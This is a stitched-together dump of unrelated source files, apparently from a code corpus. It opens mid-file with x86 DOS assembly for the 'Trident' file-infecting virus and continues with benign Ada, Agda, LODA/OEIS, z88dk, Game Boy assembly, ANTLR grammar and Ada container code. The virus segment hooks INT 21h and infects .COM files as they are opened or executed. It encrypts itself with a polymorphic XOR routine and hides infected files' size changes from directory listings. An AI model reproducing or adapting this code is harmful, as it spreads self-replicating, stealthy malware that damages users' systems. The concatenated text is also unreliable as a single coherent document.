Iret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
mov cx,ax
iret
chkfunc: cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
cmp ah,6ch
je infectdos4
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
infectdos4: and dx,0fh
cmp dx,1
jne endi
mov dx,si
jmp infecthan
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doitj
endi: jmp endint
doitj: push dx
push ds
mov ax,4300h
call dos
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
call dos
mov ax,3d02h
call dos
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
call dos
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
call dos
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
call dos
sub ax,3
mov cs:jump[1],ax
Add Ax,Offset Crypt+103h
Mov S_1[1],Ax
Mov S_2[1],Ax
Mov S_3[4],Ax
Mov S_4[4],Ax
Call GenPoly
mov ah,40h
push cs
pop ds
lea dx,coder
mov cx,virlen
call dos
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
lea dx,jump
mov cx,3
call dos
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
call dos
done: mov ah,3eh
call dos
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
call dos
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
GenPoly: Xor Byte Ptr [Loopje],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[4],Ax
Mov S_2[4],Ax
Mov S_3[1],Ax
Mov S_4[1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si]
Mov Si,Ax
Lea Di,decr
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr
Lea Di,Coder
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Lea Di,Coder
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:jump[1]
Add Ax,Encr0Len+2
Mov Cs:jump[1],Ax
Ret
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
Db '[ '
Encr0 Db '<NAME>'
Encr0Len Equ $-Encr0
Db ' / Trident'
Db ' ]'
getdta: pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS
cmp al,0
jne Ret1
call getdta
cmp byte ptr es:[bx],-1
jne FCBOk
add bx,8
FCBOk: mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ch],Virlen
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
Db '| Trapped in a spell of the Necromonicon |'
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 20h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
ResLen Equ ($-Decr)/10h
ParLen Equ (Reslen*2)+10h
CryptLen Equ $-Crypt
VirLen Equ $-Decr
Coder Equ $
|
src/example.adb | MLH/mlh-localhost-adacore | 5 | 2287 | <filename>src/example.adb
with Ada.Text_IO; use Ada.Text_IO;
with Stack; use Stack;
procedure Example is
Done : Boolean := False;
--------------------
-- Get_User_Input --
--------------------
function Get_User_Input return Character is
begin
loop
declare
User_Input : String := Get_Line;
begin
if User_Input'Length = 1 then
return User_Input (User_Input'First);
end if;
Put_Line ("Invalid Input, please try again!");
Put ("input > ");
end;
end loop;
end Get_User_Input;
-----------
-- Debug --
-----------
procedure Debug is
begin
Put_Line ("**************************************");
Put_Line ("Size: " & Integer'Image(Stack.Size));
Put_Line ("Max Size: " & Integer'Image(Stack.Max_Size));
if not Stack.Empty then
Put_Line ("Top: " & Stack.Top);
Put ("Stack: [");
for I in Stack.Tab'First .. Stack.Size loop
Put (Stack.Tab(I) & ", ");
end loop;
Put_Line ("]");
else
Put_Line ("Top: Null");
Put_Line ("Stack: []");
end if;
Put_Line ("**************************************");
end Debug;
begin
----------
-- Main --
----------
while not Done = True loop
Put ("input > ");
declare
S : Character := Get_User_Input;
begin
if S = 'q' then
Done := True;
elsif S = 'd' then
Debug;
elsif S = 'p' then
if not Stack.Empty then
Stack.Pop (S);
Put_Line ("Popped: " & S);
else
Put_Line ("Nothing to Pop, Stack is empty!");
end if;
else
if not Stack.Full then
Stack.Push (S);
Put_Line ("Pushed: " & S);
else
Put_Line ("Could not push '" & S & "', Stack is full!");
end if;
end if;
end;
end loop;
Put_Line ("Example ended.");
end Example;
|
programs/oeis/119/A119900.asm | neoneye/loda | 22 | 21040 | <reponame>neoneye/loda
; A119900: Triangle read by rows: T(n,k) is the number of binary words of length n with k strictly increasing runs, for 0<=k<=n.
; 1,0,2,0,1,3,0,0,4,4,0,0,1,10,5,0,0,0,6,20,6,0,0,0,1,21,35,7,0,0,0,0,8,56,56,8,0,0,0,0,1,36,126,84,9,0,0,0,0,0,10,120,252,120,10,0,0,0,0,0,1,55,330,462,165,11,0,0,0,0,0,0,12,220,792,792,220,12,0,0,0,0,0,0,1,78,715,1716,1287,286,13,0,0,0,0,0,0,0,14,364
mul $0,2
mov $1,1
lpb $0
sub $0,$1
add $1,1
sub $0,$1
lpe
bin $1,$0
mov $0,$1
|
oeis/339/A339749.asm | neoneye/loda-programs | 11 | 8416 | <reponame>neoneye/loda-programs
; A339749: a(n) is the greatest k > 0 such that 1+n, 1+2*n, ..., 1+n*k are pairwise coprime.
; Submitted by <NAME>(s3)
; 2,3,2,4,2,7,2,3,2,4,2,6,2,3,2,4,2,7,2,3,2,4,2,5,2,3,2,4,2,9,2,3,2,4,2,8,2,3,2,4,2,6,2,3,2,4,2,7,2,3,2,4,2,5,2,3,2,4,2,11,2,3,2,4,2,8,2,3,2,4,2,6,2,3,2,4,2,7,2,3,2,4,2,5,2,3,2
mov $1,1
mov $4,$0
add $0,2
mov $2,1
lpb $0
add $2,$4
add $6,1
lpb $3
mul $0,$5
add $2,1
lpb $3
mov $4,$1
gcd $4,$2
cmp $4,1
cmp $4,0
sub $3,$4
lpe
lpe
sub $0,1
add $2,1
mul $1,$2
mov $3,1
lpe
mov $0,$6
|
Thesis/SIRelBigStep/DenSem.agda | inc-lc/ilc-agda | 10 | 11410 | <filename>Thesis/SIRelBigStep/DenSem.agda
module Thesis.SIRelBigStep.DenSem where
open import Data.Nat
open import Data.Product
open import Thesis.SIRelBigStep.Syntax
open import Data.Nat
⟦_⟧Type : Type → Set
⟦ σ ⇒ τ ⟧Type = ⟦ σ ⟧Type → ⟦ τ ⟧Type
⟦ nat ⟧Type = ℕ
⟦ pair τ1 τ2 ⟧Type = ⟦ τ1 ⟧Type × ⟦ τ2 ⟧Type
import Base.Denotation.Environment
module Den = Base.Denotation.Environment Type ⟦_⟧Type
open import Base.Data.DependentList
⟦_⟧Const : ∀ {τ} → Const τ → ⟦ τ ⟧Type
⟦ lit n ⟧Const = n
⟦_⟧Primitive : ∀ {τ} → Primitive τ → ⟦ τ ⟧Type
⟦ succ ⟧Primitive = suc
⟦ add ⟧Primitive = λ { (n1 , n2) → n1 + n2}
⟦_⟧Term : ∀ {Γ τ} → Term Γ τ → Den.⟦ Γ ⟧Context → ⟦ τ ⟧Type
⟦_⟧SVal : ∀ {Γ τ} → SVal Γ τ → Den.⟦ Γ ⟧Context → ⟦ τ ⟧Type
⟦ var x ⟧SVal ρ = Den.⟦ x ⟧Var ρ
⟦ abs t ⟧SVal ρ = λ v → ⟦ t ⟧Term (v • ρ)
⟦ cons sv1 sv2 ⟧SVal ρ = ⟦ sv1 ⟧SVal ρ , ⟦ sv2 ⟧SVal ρ
⟦ const c ⟧SVal ρ = ⟦ c ⟧Const
⟦ val sv ⟧Term ρ = ⟦ sv ⟧SVal ρ
⟦ app s t ⟧Term ρ = ⟦ s ⟧SVal ρ (⟦ t ⟧SVal ρ)
⟦ lett s t ⟧Term ρ = ⟦ t ⟧Term ((⟦ s ⟧Term ρ) • ρ)
⟦ primapp vs vt ⟧Term ρ = ⟦ vs ⟧Primitive (⟦ vt ⟧SVal ρ)
|
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_input_kbd_lastk/zx_01_input_lastk_stdio_msg_flsh.asm | meesokim/z88dk | 0 | 15044 | <reponame>meesokim/z88dk
SECTION code_fcntl
PUBLIC zx_01_input_lastk_stdio_msg_flsh
EXTERN zx_01_input_lastk_proc_lastk
EXTERN console_01_input_stdio_msg_flsh
zx_01_input_lastk_stdio_msg_flsh:
call zx_01_input_lastk_proc_lastk
jp z, console_01_input_stdio_msg_flsh ; if LASTK = 0
ld (hl),0 ; clear any pending char
jp console_01_input_stdio_msg_flsh ; forward to library
|
src/projects/test_oam_dma/main.asm | rainbowbismuth/gbg | 0 | 82681 | INCLUDE "header.asm"
INCLUDE "macros.asm"
INCLUDE "registers.asm"
INCLUDE "constants.asm"
INCLUDE "memory.asm"
main:
ld sp, Work_RAM_End
call disable_lcd
call reset_gfx
jp cause_deadlock ; tail call
vblank:
reti
stat:
reti
timer:
reti
serial:
reti
joypad:
reti
cause_deadlock:
di
xor a
ldh [REG_Interrupt_Enable], a
ldh [REG_Interrupt_Flag], a
halt ; instructions after this will never be executed.
INCLUDE "gfx.asm"
INCLUDE "font.asm"
SECTION "main.asm_wram", WRAM0,ALIGN[8]
OBJ_0_Y: DS 1
OBJ_0_X: DS 1
OBJ_0_Tile: DS 1
OBJ_0_Flag: DS 1
OBJ_1_Y: DS 1
OBJ_1_X: DS 1
OBJ_1_Tile: DS 1
OBJ_1_Flag: DS 1
OBJ_Rest DS (38*4)
SECTION "main.asm_rom0", ROM0
write_byte: MACRO
ld a, \2
ld [\1], a
ENDM
load_objects_to_ram:
write_byte OBJ_0_Y, 20
write_byte OBJ_0_X, 25
write_byte OBJ_0_Tile, "e"
write_byte OBJ_0_Flag, 0
write_byte OBJ_1_Y, 25
write_byte OBJ_1_X, 27
write_byte OBJ_1_Tile, "B"
write_byte OBJ_1_Flag, (1 << 5)
ld hl, OBJ_Rest
ld b, 38*4
ld a, 0
jp memset ; tail call
turn_on_obj:
ldh a, [REG_LCD_Control]
set 1, a ; turn on OBJ
ldh [REG_LCD_Control], a
ret
reset_gfx:
call reset_palettes
call load_potash
call clear_tile_map_0
call install_oam_dma_code_to_hram
call load_objects_to_ram
ld a, (OBJ_0_Y / $100)
call run_oam_dma
call turn_on_lcd
jp turn_on_obj ; tail call?
|
modules/lang-painless/src/main/antlr/PainlessParser.g4 | amikey/elasticsearch | 0 | 6007 | /*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
parser grammar PainlessParser;
options { tokenVocab=PainlessLexer; }
source
: statement+ EOF
;
statement
: IF LP expression RP block ( ELSE block )? # if
| WHILE LP expression RP ( block | empty ) # while
| DO block WHILE LP expression RP ( SEMICOLON | EOF ) # do
| FOR LP initializer? SEMICOLON expression? SEMICOLON afterthought? RP ( block | empty ) # for
| declaration ( SEMICOLON | EOF ) # decl
| CONTINUE ( SEMICOLON | EOF ) # continue
| BREAK ( SEMICOLON | EOF ) # break
| RETURN expression ( SEMICOLON | EOF ) # return
| TRY block trap+ # try
| THROW expression ( SEMICOLON | EOF ) # throw
| expression ( SEMICOLON | EOF ) # expr
;
block
: LBRACK statement+ RBRACK # multiple
| statement # single
;
empty
: emptyscope
| SEMICOLON
;
emptyscope
: LBRACK RBRACK
;
initializer
: declaration
| expression
;
afterthought
: expression
;
declaration
: decltype declvar ( COMMA declvar )*
;
decltype
: identifier (LBRACE RBRACE)*
;
declvar
: identifier ( ASSIGN expression )?
;
trap
: CATCH LP ( identifier identifier ) RP ( block | emptyscope )
;
identifier
: ID generic?
;
generic
: LT identifier ( COMMA identifier )* GT
;
expression
: LP expression RP # precedence
| ( OCTAL | HEX | INTEGER | DECIMAL ) # numeric
| TRUE # true
| FALSE # false
| NULL # null
| <assoc=right> chain ( INCR | DECR ) # postinc
| <assoc=right> ( INCR | DECR ) chain # preinc
| chain # read
| <assoc=right> ( BOOLNOT | BWNOT | ADD | SUB ) expression # unary
| <assoc=right> LP decltype RP expression # cast
| expression ( MUL | DIV | REM ) expression # binary
| expression ( ADD | SUB ) expression # binary
| expression ( LSH | RSH | USH ) expression # binary
| expression ( LT | LTE | GT | GTE ) expression # comp
| expression ( EQ | EQR | NE | NER ) expression # comp
| expression BWAND expression # binary
| expression XOR expression # binary
| expression BWOR expression # binary
| expression BOOLAND expression # bool
| expression BOOLOR expression # bool
| <assoc=right> expression COND expression COLON expression # conditional
| <assoc=right> chain ( ASSIGN | AADD | ASUB | AMUL | ADIV
| AREM | AAND | AXOR | AOR
| ALSH | ARSH | AUSH ) expression # assignment
;
chain
: linkprec
| linkcast
| linkvar
| linknew
| linkstring
;
linkprec: LP ( linkprec | linkcast | linkvar | linknew | linkstring ) RP ( linkdot | linkbrace )?;
linkcast: LP decltype RP ( linkprec | linkcast | linkvar | linknew | linkstring );
linkbrace: LBRACE expression RBRACE ( linkdot | linkbrace )?;
linkdot: DOT ( linkcall | linkfield );
linkcall: EXTID arguments ( linkdot | linkbrace )?;
linkvar: identifier ( linkdot | linkbrace )?;
linkfield: ( EXTID | EXTINTEGER ) ( linkdot | linkbrace )?;
linknew: NEW identifier ( ( arguments linkdot? ) | ( ( LBRACE expression RBRACE )+ linkdot? ) );
linkstring: STRING (linkdot | linkbrace )?;
arguments
: ( LP ( expression ( COMMA expression )* )? RP )
;
|
core/lib/Funext.agda | timjb/HoTT-Agda | 0 | 9237 | {-# OPTIONS --without-K --rewriting #-}
open import lib.Base
open import lib.Function
open import lib.Equivalence
open import lib.Univalence
open import lib.NType
open import lib.PathGroupoid
{-
A proof of function extensionality from the univalence axiom.
-}
module lib.Funext {i} {A : Type i} where
-- Naive non dependent function extensionality
module FunextNonDep {j} {B : Type j} {f g : A → B} (h : f ∼ g)
where
private
equiv-comp : {B C : Type j} (e : B ≃ C)
→ is-equiv (λ (g : A → B) → (λ x → –> e (g x)))
equiv-comp {B} e =
equiv-induction (λ {B} e → is-equiv (λ (g : A → B) → (λ x → –> e (g x))))
(λ A' → snd (ide (A → A'))) e
free-path-space-B : Type j
free-path-space-B = Σ B (λ x → Σ B (λ y → x == y))
d : A → free-path-space-B
d x = (f x , (f x , idp))
e : A → free-path-space-B
e x = (f x , (g x , h x))
abstract
fst-is-equiv : is-equiv (λ (y : free-path-space-B) → fst y)
fst-is-equiv =
is-eq fst (λ z → (z , (z , idp))) (λ _ → idp)
(λ x' → ap (λ x → (_ , x))
(contr-has-all-paths _ _))
comp-fst-is-equiv : is-equiv (λ (f : A → free-path-space-B)
→ (λ x → fst (f x)))
comp-fst-is-equiv = equiv-comp ((λ (y : free-path-space-B) → fst y),
fst-is-equiv)
d==e : d == e
d==e = equiv-is-inj comp-fst-is-equiv _ _ idp
λ=-nondep : f == g
λ=-nondep = ap (λ f' x → fst (snd (f' x))) d==e
open FunextNonDep using (λ=-nondep)
-- Weak function extensionality (a product of contractible types is
-- contractible)
module WeakFunext {j} {P : A → Type j} (e : (x : A) → is-contr (P x)) where
P-is-Unit : P == (λ x → Lift Unit)
P-is-Unit = λ=-nondep (λ x → ua (contr-equiv-LiftUnit (e x)))
abstract
weak-λ= : is-contr (Π A P)
weak-λ= = transport (λ Q → is-contr (Π A Q)) (! P-is-Unit)
(has-level-in ((λ x → lift unit) , (λ y → λ=-nondep (λ x → idp))))
-- Naive dependent function extensionality
module FunextDep {j} {P : A → Type j} {f g : Π A P} (h : f ∼ g)
where
open WeakFunext
Q : A → Type j
Q x = Σ (P x) (λ y → f x == y)
abstract
Q-is-contr : (x : A) → is-contr (Q x)
Q-is-contr x = pathfrom-is-contr (f x)
instance
ΠAQ-is-contr : is-contr (Π A Q)
ΠAQ-is-contr = weak-λ= Q-is-contr
Q-f : Π A Q
Q-f x = (f x , idp)
Q-g : Π A Q
Q-g x = (g x , h x)
abstract
Q-f==Q-g : Q-f == Q-g
Q-f==Q-g = contr-has-all-paths Q-f Q-g
λ= : f == g
λ= = ap (λ u x → fst (u x)) Q-f==Q-g
-- Strong function extensionality
module StrongFunextDep {j} {P : A → Type j} where
open FunextDep
app= : ∀ {f g : Π A P} (p : f == g) → f ∼ g
app= p x = ap (λ u → u x) p
λ=-idp : (f : Π A P)
→ idp == λ= (λ x → idp {a = f x})
λ=-idp f = ap (ap (λ u x → fst (u x)))
(contr-has-all-paths {{=-preserves-level
(ΠAQ-is-contr (λ x → idp))}}
idp (Q-f==Q-g (λ x → idp)))
λ=-η : {f g : Π A P} (p : f == g)
→ p == λ= (app= p)
λ=-η {f} idp = λ=-idp f
app=-β : {f g : Π A P} (h : f ∼ g) (x : A)
→ app= (λ= h) x == h x
app=-β h = app=-path (Q-f==Q-g h) where
app=-path : {f : Π A P} {u v : (x : A) → Q (λ x → idp {a = f x}) x}
(p : u == v) (x : A)
→ app= (ap (λ u x → fst (u x)) p) x == ! (snd (u x)) ∙ snd (v x)
app=-path {u = u} idp x = ! (!-inv-l (snd (u x)))
app=-is-equiv : {f g : Π A P} → is-equiv (app= {f = f} {g = g})
app=-is-equiv = is-eq _ λ= (λ h → λ= (app=-β h)) (! ∘ λ=-η)
λ=-is-equiv : {f g : Π A P}
→ is-equiv (λ= {f = f} {g = g})
λ=-is-equiv = is-eq _ app= (! ∘ λ=-η) (λ h → λ= (app=-β h))
-- We only export the following
module _ {j} {P : A → Type j} {f g : Π A P} where
app= : f == g → f ∼ g
app= p x = ap (λ u → u x) p
abstract
λ= : f ∼ g → f == g
λ= = FunextDep.λ=
app=-β : (p : f ∼ g) (x : A) → app= (λ= p) x == p x
app=-β = StrongFunextDep.app=-β
λ=-η : (p : f == g) → p == λ= (app= p)
λ=-η = StrongFunextDep.λ=-η
λ=-equiv : (f ∼ g) ≃ (f == g)
λ=-equiv = (λ= , λ=-is-equiv) where
abstract
λ=-is-equiv : is-equiv λ=
λ=-is-equiv = StrongFunextDep.λ=-is-equiv
app=-equiv : (f == g) ≃ (f ∼ g)
app=-equiv = (app= , app=-is-equiv) where
abstract
app=-is-equiv : is-equiv app=
app=-is-equiv = StrongFunextDep.app=-is-equiv
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/a-cohama.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 30007 | <filename>Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/a-cohama.ads
------------------------------------------------------------------------------
-- --
-- GNAT LIBRARY COMPONENTS --
-- --
-- A D A . C O N T A I N E R S . H A S H E D _ M A P S --
-- --
-- S p e c --
-- --
-- Copyright (C) 2004-2020, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- This unit was originally developed by <NAME>. --
------------------------------------------------------------------------------
with Ada.Iterator_Interfaces;
private with Ada.Containers.Hash_Tables;
private with Ada.Finalization;
private with Ada.Streams;
private with Ada.Strings.Text_Output;
-- The language-defined generic package Containers.Hashed_Maps provides
-- private types Map and Cursor, and a set of operations for each type. A map
-- container allows an arbitrary type to be used as a key to find the element
-- associated with that key. A hashed map uses a hash function to organize the
-- keys.
--
-- A map contains pairs of keys and elements, called nodes. Map cursors
-- designate nodes, but also can be thought of as designating an element (the
-- element contained in the node) for consistency with the other containers.
-- There exists an equivalence relation on keys, whose definition is different
-- for hashed maps and ordered maps. A map never contains two or more nodes
-- with equivalent keys. The length of a map is the number of nodes it
-- contains.
--
-- Each nonempty map has two particular nodes called the first node and the
-- last node (which may be the same). Each node except for the last node has a
-- successor node. If there are no other intervening operations, starting with
-- the first node and repeatedly going to the successor node will visit each
-- node in the map exactly once until the last node is reached.
generic
type Key_Type is private;
type Element_Type is private;
with function Hash (Key : Key_Type) return Hash_Type;
-- The actual function for the generic formal function Hash is expected to
-- return the same value each time it is called with a particular key
-- value. For any two equivalent key values, the actual for Hash is
-- expected to return the same value. If the actual for Hash behaves in
-- some other manner, the behavior of this package is unspecified. Which
-- subprograms of this package call Hash, and how many times they call it,
-- is unspecified.
with function Equivalent_Keys (Left, Right : Key_Type) return Boolean;
-- The actual function for the generic formal function Equivalent_Keys on
-- Key_Type values is expected to return the same value each time it is
-- called with a particular pair of key values. It should define an
-- equivalence relationship, that is, be reflexive, symmetric, and
-- transitive. If the actual for Equivalent_Keys behaves in some other
-- manner, the behavior of this package is unspecified. Which subprograms
-- of this package call Equivalent_Keys, and how many times they call it,
-- is unspecified.
with function "=" (Left, Right : Element_Type) return Boolean is <>;
-- The actual function for the generic formal function "=" on Element_Type
-- values is expected to define a reflexive and symmetric relationship and
-- return the same result value each time it is called with a particular
-- pair of values. If it behaves in some other manner, the function "=" on
-- map values returns an unspecified value. The exact arguments and number
-- of calls of this generic formal function by the function "=" on map
-- values are unspecified.
package Ada.Containers.Hashed_Maps with
SPARK_Mode => Off
is
pragma Annotate (CodePeer, Skip_Analysis);
pragma Preelaborate;
pragma Remote_Types;
type Map is tagged private
with
Constant_Indexing => Constant_Reference,
Variable_Indexing => Reference,
Default_Iterator => Iterate,
Iterator_Element => Element_Type,
Aggregate => (Empty => Empty,
Add_Named => Insert);
pragma Preelaborable_Initialization (Map);
type Cursor is private;
pragma Preelaborable_Initialization (Cursor);
Empty_Map : constant Map;
-- Map objects declared without an initialization expression are
-- initialized to the value Empty_Map.
No_Element : constant Cursor;
-- Cursor objects declared without an initialization expression are
-- initialized to the value No_Element.
function Empty (Capacity : Count_Type := 1000) return Map;
function Has_Element (Position : Cursor) return Boolean;
-- Returns True if Position designates an element, and returns False
-- otherwise.
package Map_Iterator_Interfaces is new
Ada.Iterator_Interfaces (Cursor, Has_Element);
function "=" (Left, Right : Map) return Boolean;
-- If Left and Right denote the same map object, then the function returns
-- True. If Left and Right have different lengths, then the function
-- returns False. Otherwise, for each key K in Left, the function returns
-- False if:
--
-- * a key equivalent to K is not present in Right; or
--
-- * the element associated with K in Left is not equal to the
-- element associated with K in Right (using the generic formal
-- equality operator for elements).
--
-- If the function has not returned a result after checking all of the
-- keys, it returns True. Any exception raised during evaluation of key
-- equivalence or element equality is propagated.
function Capacity (Container : Map) return Count_Type;
-- Returns the current capacity of the map. Capacity is the maximum length
-- before which rehashing in guaranteed not to occur.
procedure Reserve_Capacity (Container : in out Map; Capacity : Count_Type);
-- Adjusts the current capacity, by allocating a new buckets array. If the
-- requested capacity is less than the current capacity, then the capacity
-- is contracted (to a value not less than the current length). If the
-- requested capacity is greater than the current capacity, then the
-- capacity is expanded (to a value not less than what is requested). In
-- either case, the nodes are rehashed from the old buckets array onto the
-- new buckets array (Hash is called once for each existing key in order to
-- compute the new index), and then the old buckets array is deallocated.
function Length (Container : Map) return Count_Type;
-- Returns the number of items in the map
function Is_Empty (Container : Map) return Boolean;
-- Equivalent to Length (Container) = 0
procedure Clear (Container : in out Map);
-- Removes all of the items from the map
function Key (Position : Cursor) return Key_Type;
-- Key returns the key component of the node designated by Position.
--
-- If Position equals No_Element, then Constraint_Error is propagated.
function Element (Position : Cursor) return Element_Type;
-- Element returns the element component of the node designated
-- by Position.
--
-- If Position equals No_Element, then Constraint_Error is propagated.
procedure Replace_Element
(Container : in out Map;
Position : Cursor;
New_Item : Element_Type);
-- Replace_Element assigns New_Item to the element of the node designated
-- by Position.
--
-- If Position equals No_Element, then Constraint_Error is propagated; if
-- Position does not designate an element in Container, then Program_Error
-- is propagated.
procedure Query_Element
(Position : Cursor;
Process : not null access
procedure (Key : Key_Type; Element : Element_Type));
-- Query_Element calls Process.all with the key and element from the node
-- designated by Position as the arguments.
--
-- If Position equals No_Element, then Constraint_Error is propagated.
--
-- Tampering with the elements of the map that contains the element
-- designated by Position is prohibited during the execution of the call on
-- Process.all. Any exception raised by Process.all is propagated.
procedure Update_Element
(Container : in out Map;
Position : Cursor;
Process : not null access
procedure (Key : Key_Type; Element : in out Element_Type));
-- Update_Element calls Process.all with the key and element from the node
-- designated by Position as the arguments.
--
-- If Position equals No_Element, then Constraint_Error is propagated; if
-- Position does not designate an element in Container, then Program_Error
-- is propagated.
--
-- Tampering with the elements of Container is prohibited during the
-- execution of the call on Process.all. Any exception raised by
-- Process.all is propagated.
type Constant_Reference_Type
(Element : not null access constant Element_Type) is private
with
Implicit_Dereference => Element;
type Reference_Type (Element : not null access Element_Type) is private
with
Implicit_Dereference => Element;
function Constant_Reference
(Container : aliased Map;
Position : Cursor) return Constant_Reference_Type;
pragma Inline (Constant_Reference);
-- This function (combined with the Constant_Indexing and
-- Implicit_Dereference aspects) provides a convenient way to gain read
-- access to an individual element of a map given a cursor.
-- Constant_Reference returns an object whose discriminant is an access
-- value that designates the element designated by Position.
--
-- If Position equals No_Element, then Constraint_Error is propagated; if
-- Position does not designate an element in Container, then Program_Error
-- is propagated.
--
-- Tampering with the elements of Container is prohibited
-- while the object returned by Constant_Reference exists and has not been
-- finalized.
function Reference
(Container : aliased in out Map;
Position : Cursor) return Reference_Type;
pragma Inline (Reference);
-- This function (combined with the Variable_Indexing and
-- Implicit_Dereference aspects) provides a convenient way to gain read and
-- write access to an individual element of a map given a cursor.
-- Reference returns an object whose discriminant is an access value that
-- designates the element designated by Position.
--
-- If Position equals No_Element, then Constraint_Error is propagated; if
-- Position does not designate an element in Container, then Program_Error
-- is propagated.
--
-- Tampering with the elements of Container is prohibited while the object
-- returned by Reference exists and has not been finalized.
function Constant_Reference
(Container : aliased Map;
Key : Key_Type) return Constant_Reference_Type;
pragma Inline (Constant_Reference);
-- Equivalent to Constant_Reference (Container, Find (Container, Key)).
function Reference
(Container : aliased in out Map;
Key : Key_Type) return Reference_Type;
pragma Inline (Reference);
-- Equivalent to Reference (Container, Find (Container, Key)).
procedure Assign (Target : in out Map; Source : Map);
-- If Target denotes the same object as Source, the operation has no
-- effect. Otherwise, the key/element pairs of Source are copied to Target
-- as for an assignment_statement assigning Source to Target.
function Copy (Source : Map; Capacity : Count_Type := 0) return Map;
procedure Move (Target : in out Map; Source : in out Map);
-- If Target denotes the same object as Source, then the operation has no
-- effect. Otherwise, the operation is equivalent to Assign (Target,
-- Source) followed by Clear (Source).
procedure Insert
(Container : in out Map;
Key : Key_Type;
New_Item : Element_Type;
Position : out Cursor;
Inserted : out Boolean);
-- Insert checks if a node with a key equivalent to Key is already present
-- in Container. If a match is found, Inserted is set to False and Position
-- designates the element with the matching key. Otherwise, Insert
-- allocates a new node, initializes it to Key and New_Item, and adds it to
-- Container; Inserted is set to True and Position designates the
-- newly-inserted node. Any exception raised during allocation is
-- propagated and Container is not modified.
procedure Insert
(Container : in out Map;
